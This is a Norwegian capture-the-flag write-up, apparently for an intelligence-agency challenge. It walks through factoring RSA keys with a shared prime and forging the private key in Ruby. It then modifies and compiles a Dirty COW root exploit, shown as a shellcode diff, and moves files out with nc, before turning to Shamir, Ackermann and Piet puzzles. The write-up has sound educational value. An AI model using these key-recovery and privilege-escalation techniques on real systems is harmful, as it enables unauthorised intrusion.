OK, det er litt mer komplisert enn som så å faktisk lage nøkkelen, blant annet må vi innom en funksjon λ, men i grunnen er dette alt man trenger. Så første skritt er å finne ut om dette angrepet fungerer: Har $n$ -ene i våre to nøkler en fellesnevner (som er større enn 1)?

Først må vi konvertere OpenSSH-nøklene til PEM, som er formatet de andre verktøyene bruker. Jeg har lastet dem ned og kalt dem key1.pub og key2.pub.

ssh-keygen -f key1.pub -e -m pem > key1.pem
ssh-keygen -f key2.pub -e -m pem > key2.pem

Så kan vi undersøke nøklene ved hjelp av libopenssl og ruby (eller hva som helst). Her ser jeg hvor mange sifre det er i $n$ , og deretter hvor mange sifre den største fellesnevneren har. Hvis fellesnevneren er større enn 1, er vi på sporet!

> require 'openssl'
> key1, key2 = %w(key1.pem key2.pem).map{|f| OpenSSL::PKey::RSA.new(File.read(f)) }
> key1.n.to_s.length
    => 617

> key1.n.gcd(key2.n).to_s.length
    => 309

Bingo! Det er en felles faktor der. Da er resten (relativt) enkelt. Vi har funnet det vi trenger, resten må bare plugges inn i beskrivelsen av hvordan man konstruerer en RSA-nøkkel. Her er min ruby-kode:

require 'openssl'
key1, key2 = %w(key1.pem key2.pem).map do |f|
  OpenSSL::PKey::RSA.new(File.read(f))
end

n = key1.n
q = key2.n.gcd(key1.n)

# OpenSSL har sitt eget nummerklasse BN med egen delemetode,
# og den returnerer en tuppel med verdi og rest. Resten vår
# er per definisjon 0, så vi tar bare med oss verdien.
p = (n/q)[0]

# Carmichael-funksjonen er i dette tilfellet lik det minste
# felles multiplum av q-1 og p-1, uten at jeg helt vet hvorfor.
λ = (p-1).to_i.lcm((q-1).to_i)

# Parameteret e er med i den offentlige nøkkelen, og er vanligvis
# lik 65537.
e = key1.e

# Dette er den hemmelige nøkkelen som brukes til å kryptere
d = e.mod_inverse(λ)

dmp1 = d % (p-1)
dmq1 = d % (q-1)
iqmp = q**(-1) % p

key = OpenSSL::PKey::RSA.new 2048
key.set_key(n, e, d)
key.set_factors(q, p)
key.set_crt_params(dmp1, dmq1, iqmp)

puts key.export

Det er riktignok mye mer å gjøre enn man skulle tro, fordi OpenSSL er helt absurd. $e$ , $p$ og $q$ er tilstrekkelig input for å kalkulere resten av verdiene, men OpenSSL krever at vi gjør det for hånd – inkludert de tre siste verdiene, som dokumentasjonen til og med oppgir formelen for å regne ut. Dette brukte jeg mange timer på å skjønne. Vel, vel.

En veldig god gjennomgang av dette, som var nyttig for meg, kan du finne på denne adressen. Min versjon av nøkkelgeneratoren over er direkte modellert etter C-versjonen på dette nettstedet.

2.5.2 Inn på hovedkvarteret

Vi bruker vårt nye sertifikat, lagret i key, og logger inn:

$ ssh -i key oper@cloud-hq-42
╔═══╗─────────────╔╗───╔╗───╔╗
║╔═╗║────────────╔╝╚╗──║║──╔╝╚╗
║║─╚╬══╦═╗╔══╦═╦═╩╗╔╬╗╔╣║╔═╩╗╔╬╦══╦═╗╔══╗
║║─╔╣╔╗║╔╗╣╔╗║╔╣╔╗║║║║║║║║╔╗║║╠╣╔╗║╔╗╣══╣
║╚═╝║╚╝║║║║╚╝║║║╔╗║╚╣╚╝║╚╣╔╗║╚╣║╚╝║║║╠══║
╚═══╩══╩╝╚╩═╗╠╝╚╝╚╩═╩══╩═╩╝╚╩═╩╩══╩╝╚╩══╝
──────────╔═╝║             Great success!
──────────╚══╝
oper@hq ~ >

Og da gir cat FLAG oss et flagg og et ASCII-bilde av en hjerne.

2.6: decryption

OK, vi har litt av hvert å gjøre nå. Vi må både få tak i en krypteringsnøkkel for crypt0r og få tak i selve filene på cloud-72.

2.6.1 passordet

Den første delen er enkel. Husker du at brukeren vault sendte data til hq-42 med tar og ssh? Vel, da ble dataene sendt til en kommando lootimport. Hva gjør den, mon tro?

oper@hq ~ > which lootimport
/bin/lootimport

oper@hq ~ > cat /bin/lootimport
#!/bin/sh
set -ex
d=$(mktemp -d)
tar xz -C $d
#find $d -type f | xargs -n1 cat | crypt0r "precise stallion cell nail" | less

Aha! Den siste linjen er kommentert ut, men inneholder passordet, som er en vri på XKCDs passordklassiker «correct horse battery staple».

XKCD: Password Strength. Creative Commons BY-NC 2.5, av Randall Munroe. xkcd.com/936

Da har vi passordet. Vi ser også at lootimport lager en mappe i /tmp og pakker ut tar-arkivet det får sendt i denne mappen. Om den siste linjen var kommentert ut, ville den gått gjennom fil for fil i den nylig importerte pakken, dekryptere den og scrolle den over skjermen til brukeren.

Tilbake til problemet med filene.

2.6.2 filene

Det tok meg altfor lang tid, men rundt om på c2-70 har det vært noen hint om kyr. Maskinen heter milk, en ku i et flagg… I tillegg kjører maskinen en gammel versjon av Linux, "4.8.0+" ifølge uname -r.

Alt dette peker mot en svakhet i Linux som heter Dirty Cow. Du kan lese mer om den andre steder, men oppsummeringen er at en bruker kunne bruke en feil i Copy on Write (COW)-logikken til å skrive over innholdet i en kjørbar fil. Hvis vi bruker det trikset til å skrive over en fil som kjører med økte privilegier, kan vi erstatte innholdet med vårt gode, gamle systemkall som gir oss superbruker.

Jeg brukte et proof of concept-program fra dette github-repoet, cowroot.c. Det måtte noen modifikasjoner til. For det første er disse boksene konfigurert med et annet standard C-bibliotek enn det vanlige – libmusl. For at det skal kjøre må det derfor kompileres mot libmusl. Og i libmusl må man visst manuelt inkludere stat.h for å få variabelstørrelsene på plass.

For det andre kjører PoC-koden systemkallet exec /bin/bash, men shellet bash er ikke installert. I stedet har de shellet ash. Det trengs bare å endre en byte i shellkoden, slik at det nye kallet blir exec /bin//ash (den doble skråstreken er av litt uklare årsaker helt greit for unix).

For det tredje vil PoC-et kjøre /bin/passwd, men den er ikke konfigurert med setuid-privilegier. I stedet må vi kjøre /bin/mount eller /bin/umount.

--- cowroot-orig.c	2020-03-04 22:27:57.233722702 +0100
+++ cowroot-mod.c	2020-03-04 22:31:13.113899766 +0100
@@ -25,6 +25,7 @@
 #include <pthread.h>
 #include <string.h>
 #include <unistd.h>
+#include <sys/stat.h>
 
 void *map;
 int f;
@@ -34,7 +35,7 @@
 pthread_t pth1,pth2,pth3;
 
 // change if no permissions to read
-char suid_binary[] = "/usr/bin/passwd";
+char suid_binary[] = "/bin/mount";
 
 /*
 * $ msfvenom -p linux/x64/exec CMD=/bin/bash PrependSetuid=True -f elf | xxd -i
@@ -53,7 +54,7 @@
   0x48, 0x31, 0xff, 0x6a, 0x69, 0x58, 0x0f, 0x05, 0x6a, 0x3b, 0x58, 0x99,
   0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x53, 0x48,
   0x89, 0xe7, 0x68, 0x2d, 0x63, 0x00, 0x00, 0x48, 0x89, 0xe6, 0x52, 0xe8,
-  0x0a, 0x00, 0x00, 0x00, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73,
+  0x0a, 0x00, 0x00, 0x00, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x2f, 0x61, 0x73,
   0x68, 0x00, 0x56, 0x57, 0x48, 0x89, 0xe6, 0x0f, 0x05
 };
 unsigned int sc_len = 177;

Så da er det bare å kompilere.

$ musl-gcc -o cowroot cowroot-mod.c -pthread

Et lite triks kom til nytte her, for vi har ikke noen god måte å kopiere filer til c2-70 (lootd teller ikke). Men vi kan konvertere til tekst frem og tilbake og klippe og lime, og da er det mest effektive formatet base64. Hvis vi i tillegg komprimerer filen først, går dette ganske raskt. Så, på maskinen der vi kompilerer filen:

$ cat cowroot | gzip | base64
H4sIAKwfYF4AA+1ce3Qc1Xm/s6uVVlpptUIPyzbGy9sO1kryCxkjW7K8YtXKYGwJOyQwHu3OSmvv
qzOztuSWYuyG00VV6vSklJTk4MM55SRpk5hXYpNABKam5EFM0hBOSM/RaYGsgCRyHsQB4+333cdq
drSDSXtO/+neo9V3v9/9vu9+9zEz987ce+8ODvY7JImI4CSbCHLpBsb3cPzoQEEEsC5SDf+vIJeT
...

Hele programmet blir 93 slike linjer med tekst. I andre enden fyrer vi opp shellet vårt igjen og skriver:

$ cat | base64 -d | gunzip > cowroot

Og så limer vi rett og slett inn de 93 linjene, og trykker Ctrl+D.

$ chmod +x cowroot
$ ./cowroot
DirtyCow root privilege escalation
$ id
uid=0(root) gid=65534(nobody) groups=65534(nobody),65534(nobody)

Og vips – så er vi root!

Nå blir systemet fort litt ustabilt av dette angrepet, og det betyr at det er lurt å skynde seg mens man er root. En måte å få filene ut er å rett og slett gjøre akkurat det som brukeren vault gjorde i sin .ash_history, og så flytte over til hq-42 for videre analyse.

Da gjenstår det bare å kikke på filene. Det viser seg at en fil stikker seg ut:

oper@hq /tmp/tmp.NeKgmM/vault/loot > ls
FLAG
key
seq.0000.zavzlqdyoakhcdqzacqdiamtytleoljooepzwuzlwluyokxppnsxpgqobbuppdfd
seq.0000.zeicfgrnvksuptofqkcopbgbbppogemfiujncbdynvsdqgigqnwhqcktubicfuhn
seq.0001.zeicfgrnvksuptofqkcopbgbbppogemfiujncbdynvsdqgigqnwhqcktubicfuhn
seq.0002.zeicfgrnvksuptofqkcopbgbbppogemfiujncbdynvsdqgigqnwhqcktubicfuhn
seq.0003.zeicfgrnvksuptofqkcopbgbbppogemfiujncbdynvsdqgigqnwhqcktubicfuhn
...


oper@hq /tmp/tmp.NeKgmM/vault/loot > cat seq.0000.zavzlqdyoakhcdqzacqdiamtytleoljooepzwu
zlwluyokxppnsxpgqobbuppdfd | crypt0r "precise stallion cell nail"
FLAG: FFFFFFFFFFFFFFFFFFFFFFFF

Og dermed er oppdraget utført!

I vault finnes det også en annen fil, delt opp i en haug med biter. Om vi konkatenerer de dekrypterte versjonene og setter dem sammen, får vi en fil, som vi deretter flytter over til vår egen maskin med nc:

LC_COLLATE=C #for å unngå norsk sortering, der aa er sist :-)
for i in seq.*.zeic*; do
    cat $i | crypt0r "precise stallion cell nail" >> outfile;
done
nc -lvp 4444 < outfile

nc cloud-hq-42 4444 > outfile
file outfile
 => outfile.pdf: PDF document, version 1.7

Det er en PDF! Faktisk er det… den offentlige sikkerhetsvurderingen fra Etterretningstjenesten, Fokus 2020. Disse hackerne er inkompetente!

Hjernetrim

Jeg hopper over clmystery, som er en kjent øvingsoppgave for å lete etter data i tekstfiler.

3.1 knock-knock

Her får vi en video der en Ken-dukke ikledd fangedrakt banker og banker i metall, i sekvenser som er opp til fem bank lange.

Det er åpenbart en kode, og fangedrakten pluss femtallet antyder at vi snakker om fangens bankekode, der tallene er i et polybiuskvadrat.

Da er det bare å telle og dekode.

3.2 runer

Her får vi oppgaveteksten:

Runer er gøy, og gamle kryptosystemer er gøy. Kombinasjonen må da være enda bedre?

Og dette bildet:

Oppgaven er å konvertere runene til vårt alfabet, for deretter å dekryptere den som en kolonnetransponeringsoppgave. Det er ikke altfor mange muligheter her, og vi finner ganske raskt den ene som gir en setning på norsk, selv uten nøkkelen som er brukt.

En kolonnetransponeringskryptering består i å skrive ut klarteksten i et rutenett, f.eks. slik:

	1	2	3	4	5
1	H	J	E	L	P
2	V	I	E	R	O
3	P	P	D	A	G
4	E	T	S	E	N
5	D	N	A	T	O

Og så velger man seg en nøkkel på fem bokstaver, og stokker om kolonnene basert på en sortering av dem, for eksempel gir SEBRA rekkefølgen 53241, fordi A er først i alfabetet, og så videre. Da blir kolonne 5 i vår hemmelighet først, og så spytter vi ut den krypterte teksten ved å lese kolonnene i denne rekkefølgen:

POGNO EEDSA JIPTN LRAET HVPED

Eventuelt, som i vår oppgave, satt opp i et rutenett. Det gir ikke veldig mange kombinasjonsmuligheter ( $5 \times 4 \times 3 \times 2 = 120$ ), og prøving og feiling er i grunn nok til å løse oppgaven.

3.3 Sharing secrets

Oppgaven er å finne hemmeligheten gitt noen nøkler i et Shamir's secret sharing-system. Dette kryptosystemet bevarer en hemmelighet ved å sette opp en $n$ -tegradspolynom, der $n+1$ er antallet nøkler man må ha for å få tilgang til hovedhemmeligheten. Hver nøkkel er et koordinat, et punkt, på kurven som funksjonen.

Tenk først på en førstegradspolynom, altså en linje. Hvis du har ett punkt, kan du ikke vite noe om hvor linjen går. Hvis du derimot har to punkter, kan du vite alle punktene. Shamir's secret sharing definerer hemmeligheten som $y$ i det punktet der kurven $x = 0$ .

Det samme prinsippet gjelder også for høyere grads polynomer: Med $n+1$ punkter kan man alltid entydig avlede $n$ -tegradspolynomet som passerer gjennom disse punktene.

Oppgave 1 er å finne hemmeligheten, $f_2(0)$ , gitt $f_2(2) = 29$ og $f_2(1) = 26$ . Vi vet også at likningen er på formen $f_2(x) = a_0 + a_1x$ . Da vet vi at $a_0 + a_1 = 26$ og $a_0 + 2a_1 = 29$ .

\begin{aligned} 26 &= a_0 + a_1\\ a_1 &= 26 - a_0\\ \\ 29 &= a_0 + 2(a_1)\\ 29 &= a_0 + 2(26 - a_0)\\ 29 - 52 &= -a_0\\ a_0 &= 23 \end{aligned}

Her skal det sies at hodet mitt brukte veldig lang tid på å skjønne hva som foregikk – fordi $29-26 = 3 = a_1$ ...

I oppgave 2 økes vanskelighetsgraden, og realismen, ved at det hele foregår i en endelig kropp, det vil si at alle tallene gjøres modulo et tall. Vi får oppgitt i oppgaveteksten at det vi skal bruke det ellevte Mersenne-primtallet; da er $m = M_{11} = 2^{107} - 1$ . $m$ har 32 sifre, som passer bra for et flagg.

Oppgave 2 har følgende definisjon:

\begin{aligned} f_3(x) &= a_0 + a_1x + a_2x^2\\ f3(2) &= 73673086149599787963942979835811\\ f3(1) &= 84657984464390529825364497916194 \end{aligned}

Nå er det litt mer komplisert matte som må til, både fordi det er flere ledd og fordi vi må gjøre modulus underveis. Fra Wikipedia har vi følgende formel for å beregne resultatet, der $k$ er antallet nøkkelbiter:

L(0) = \sum_{j=0}^{k-1} f(x_j) \prod_{\substack{m=0\\m\neq j}}^{k-1}\frac{x_m}{x_m-x_j}

Men det er altså uten disse modulusberegningene. Jeg tenkte først at jeg kunne gjøre alle beregningene først, og deretter bare gjøre resultatet modulus $m$ . Det kan man ikke. Hver eneste subtraksjon og multiplikasjon må gjøres modulo $m$ . Jeg fant en implementasjon et sted, som jeg dessverre ikke finner igjen, og kodet den i Ruby:

Det er en forenkling av formelen over, der vi ikke bryr oss om å regne ut parametrene vi ikke trenger, bare $a_0$ .

M11 = 2**107 - 1

def mul(a, b, m = M11)
  (a*b) % m
end

def sub(a, b, m = M11)
  (a-b) % m
end

def inv(a, m=M11)
  raise "No inverse: #{a} and #{M11} not coprime" unless a.gcd(M11) == 1
  m0, i, x0 = m, 1, 0
  while a > 1
    i -= (a/m) * x0
    a, m = m, a % m
    i, x0 = x0, i
  end
  i += m0 if i < 0
  i
end

def shamir_reconstruct(n, x, y)
  for d in 1...n
    for i in 0...(n-d)
      j = i + d
      num = sub( mul(x[j], y[i]), mul(x[i], y[i+1]) )
      den = sub(x[j], x[i])
      y[i] = mul(num, inv(den))
    end
  end
  y[0]
end

Da er det bare å samle inn nøklenes x-er og y-er i de to arrayene $x$ og $y$ og sende det inn i funksjonen shamir_reconstruct.

3.4 explosion

Vi får en binærfil, explosion, som tar ett argument og returnerer ett tall – i hvert fall for argumentene 0, 1, 2 og 3. Det returnerer henholdsvis 1, 4, 11 og 72. Men når argumentet er større enn 3, returnerer funksjonen aldri.

I første omgang gikk jeg til OEIS – the Online Encyclopedia of Integer Sequences. Var dette en kjent sekvens? Nei. Men hva om vår sekvens er summen av alle termene, altså at explosion(n) returnerer $\sum_{i=0}^n f(n)$ , der $f(x)$ er en kjent sekvens? I så fall er termene lik ${0,1,3,61}$ . Et søk på dette gir flere treff – men blant de første er det en lovende: A046859 «Simplified Ackermann function (main diagonal of Ackermann-Péter function)».

Og da ringte noen bjeller fra bachelorgraden – denne funksjonen har jeg hatt om på studiet.

Ackermann-Péter-funksjonen er spesiell. Den tar to argumenter, $a$ og $b$ , og returnerer henholdsvis:

A(a,b) = \begin{cases} b + 1 &\text{hvis } a=0\\ A(a-1, 1) &\text{hvis } b=0\\ A(a-1, A(a, b-1)) &\text{ellers} \end{cases}

Vår explosion sender argumentet vi sender den inn som både $a$ og $b$ .

Dette skaper enormt mange rekursive kall hvis man forsøker å skrive den ut direkte som et dataprogram. Årsaken er dette: Argumentet $a$ til denne funksjonen blir i praksis et parameter som bestemmer hvilken regneoperasjon man gjør med $b$ . 0 betyr «øk med en», 1 betyr «adder», 2 betyr «multipliser» og 3 betyr «eksponentiell vekst». For denne versjonen av funksjonen legges det til 3 for argumentet b, og så trekkes det fra 3 til slutt: $A(3,2) = 2^{2+3} - 3$ , $A(3,3) = 2^{3+3} - 3$ osv. (Konstantleddet -3 er med, uten at jeg helt vet hvorfor).

Men hva er det som skjer på 4? Jo, da går vi over til tetrasjon, en operasjon der man ganger de eksponentierte tallene med hverandre, og får et «tårn» av eksponenter. Altså er $A(4,0) = 2^{2^2} - 3$ , $A(4,1) = 2^{2^{2^2}} - 3$ . På $A(4,4)$ får vi et tårn på 7, som er et veldig, veldig stort tall – mer en 10 000 sifre, mye større enn datamaskinen klarer å representere i minnet, og ekstremt mye større enn grensen for hvor mange funksjonskall vi kan rekursivt lage. (En alternativ skrivemåte er $2 ⇈ 7$ .)

Og så blir det enda verre med $A(5,5)$ – for du gjettet riktig, det blir slike tårn ganget med hverandre $b+3$ ganger…

OK, nøkkelen kan åpenbart ikke være selve tallet, så vi må lete litt i binærfilen for å se hva som foregår. Her fra funksjonen main, oversatt tav Ghidra til C:

do {
  asdf(&a,i);
  asdf(&b,i);
  fun(&c,&b,&a);
  Add(&d,&c);
  ~asdf(&c);
  ~asdf(&b);
  ~asdf(&a);
  i = i + 1;
} while (i <= d._24_8_);
Modulus(&d,0x613b62c597707ef);

Explosion er skrevet i c++, og asdf er en klasse som lagrer et tall. Fun er vår funksjon $A$ , og ~asdf frigjør (sletter) variablene. Vi ser at den looper fra 0 til input-tallet, lagrer resultatet av fun i c, og setter d = d + c. Når alt det er gjort, kjøres en funksjon Modulus på d med 0x613b62c597707e som argument.

Hva er det slags konstant? Vel, den tilsvarer $15^{15}$ . Jeg vet jeg så det i koden et sted, men jeg klarer ikke finne det igjen nå.

OK, så resultatet blir til slutt gjort $\text{mod } 15^{15}$ . Det betyr at løsningen faktisk kan bli til et flagg, men det hjelper oss ikke direkte, for funksjonen kan ikke skrives om slik at den kan regne ut det faktiske tallet først og deretter modulere det ned.

Det viser seg at det er mulig å finne modulus av et tall $a^{r^t}$ , selv om vi ikke praktisk kan regne ut $r^t$ . Og da skal vi for tredje gang i denne CTF-en innom totient-funksjonen til Euler, φ.

Eulers teorem sier at hvis $a$ og $n$ er relativt primiske, det vil si at det eneste heltallet som er delelig på begge to er 1, så er $a^{φ(n)} \equiv 1 \text{mod } n$ , der $\equiv$ betyr kongruent, altså at $a^{φ(n)}$ og $1$ gir samme resultat etter å ha blitt kvernet gjennom $\text{mod } n$ .

Euler-funksjonen $φ(n)$ er definert som antallet heltall, mindre enn $n$ , som er relativt primiske til $n$ .

Det kan vi bruke til å pakke, steg for steg, ut vårt tårn av sju to tall mod $15^{15}$ . Eller vi kan bruke Wolfram Alpha, plugge in 2^2^2^2^2^2^2 mod 15^15 og få riktig svar. Gjett hva jeg valgte.

Nivå 5 og 6

Denne løsningen fungerer imidlertid ikke for de neste nivåene; jeg vet ikke en gang helt hvor mange to-tall jeg skulle skrevet inn. Etter mye søking og lesing av gamle dokumenter - en matteartikkel fra 80-tallet var faktisk hjelpsom¹, og ikke minst Stack Overflow – fant jeg ut at sånne tårn av toere, og for så vidt tårn med andre tall – har en spesiell egenskap: Etter et visst antall repetisjoner med denne behandlingen – modulo $m$ og $φ$ ender de opp med å stabilisere seg. De havner rett og slett inn i en sløyfe der sifrene blir de samme, uansett hvor mange ganger man gjentar operasjonen. Jeg skal ikke forsøke meg på den matematiske forklaringen, men kan slå fast at det skjer etter maksimalt $\log m$ iterasjoner. Det er kjemperaskt – $\log 15^{15} \approx 40$ .

Koden for å gjøre det har jeg mistet (!), men det blir omtrent slik. Jeg dro nytte av denne for å se konkret hvordan dette ble – det var mange ledd og $m$ -er og $φ$ -er å holde styr på!

def tårnmod(a, h, m)
  return 0 if m == 1
  return 1 if (a == 1 || h == 0)
  return (a % m) if h == 1
  return 0 if a == m
  
  φ = m.φ  # ikke vist her; regner ut totienten
  neste_ledd = tårnmod(a, h-1, φ)
  return (a.pow(φ, m) * a.pow(neste_ledd, m)) % m
end

Deretter er det bare å plugge inn med h = 41, 42, 43 og se det tilfredsstillende resultatet: Det blir samme tall, uansett hvor høy h. Faktisk skjer stabiliseringen allerede tidligere – allerede ved 18 iterasjoner.

Til slutt er det bare å huske at resultatet for 6 må legges til resultatet for 5 og deretter kjøres modulo $m$ . Det siste husket jeg ikke, men CTF-makerne var såpass hyggelige at de minnet meg på hva feilen var, og sparte meg noen timer med debugging og hodekløing.

3.5 artwork

Vi fikk bare et bilde:

Filnavnet dbc6486d9c1788ccce2f4ece3e498fb3.png inneholder et hint. Det er en MD5-hash, og på internett finnes det mange regnbuetabeller med hasher av vanlige ord, slik at man kan slå opp. Ordet er esoteric.

Teksten er også et hint: Det er et sitat av kunstneren Piet Mondrian.

Dette hadde jeg hørt om og husket. Det dreier seg om det esoteriske programmeringsspråket piet, et språk der kildekoden er i form av bilder. Programpekeren beveger seg gjennom bildet. Fargeforandringene gir forskjellige instruksjoner (som add og push og sub, men også instruksjoner for å skifte retning på pekeren). Størrelsen på fargeområdene gir argumenter til instruksjonene.

Jeg begynte først å skrive min egen fortolker av piet, men så tok jeg til vett og lastet ned npiet. Den kommer også med en trace-funksjon, som skulle vise seg å bli nyttig.

Ved å kjøre npiet dbc6486d9c1788ccce2f4ece3e498fb3.png får vi ut ett flagg, men blir så bedt om et passord. (Flagget må kjøres gjennom hash-funksjonen HAVAL, echo FLAGG | jacksum -a HAVAL). Passordsjekken kan man fysisk se i bildet oppe til høyre: Den sjekker en og en karakter og sender programmet rett nedover hvis det er feil.

Programmet tar input fra brukeren og lagrer det på stacken (som ASCII-koder). Deretter konstruerer den fasiten, bokstav for bokstav, ved å utføre litt aritmetikk på mindre tall. Så trekker den fasiten fra det lagra passordet og sjekker om resultatet er 0. Hvis det er 0, er det riktig, og vi gjør det samme med neste tegn.

Det betyr at man kan bruke traceren i npiet til å finne ut hvilket tall som lastes inn i registeret rett før testen kjøres.

På den måten fant jeg ut at de første fire tegnene var Tr0u, og da måtte jo resten være en referanse til XKCD igjen – riktignok med ett endret tegn.

Avslutning

Disse lekene som etterretningsorganene har satt i verk er veldig trivelig tidtrøyte. PSTs adventskalender hadde nok hakket enklere nivå i bunn, men de vanskeligste oppgavene der var enda vanskeligere enn disse. For meg var oppgavene i denne CTF-en på perfekt nivå: Jeg måtte stort sett tenke, researche, prøve og feile på alle oppgavene. Jeg fikk øvd på assembly-kode og dekonstruksjon av programmer, på matteskills i RSA-oppgaven (og ikke minst i hjernetrimmen), og lekt med verktøy man vanligvis risikerer fengsel for å bruke.

Blakley G.R. og I. Borosh (1983): «Modular arithmetic of iterated powers». Computers & Mathematics with Applications 9(4), ss. 567-581. ↩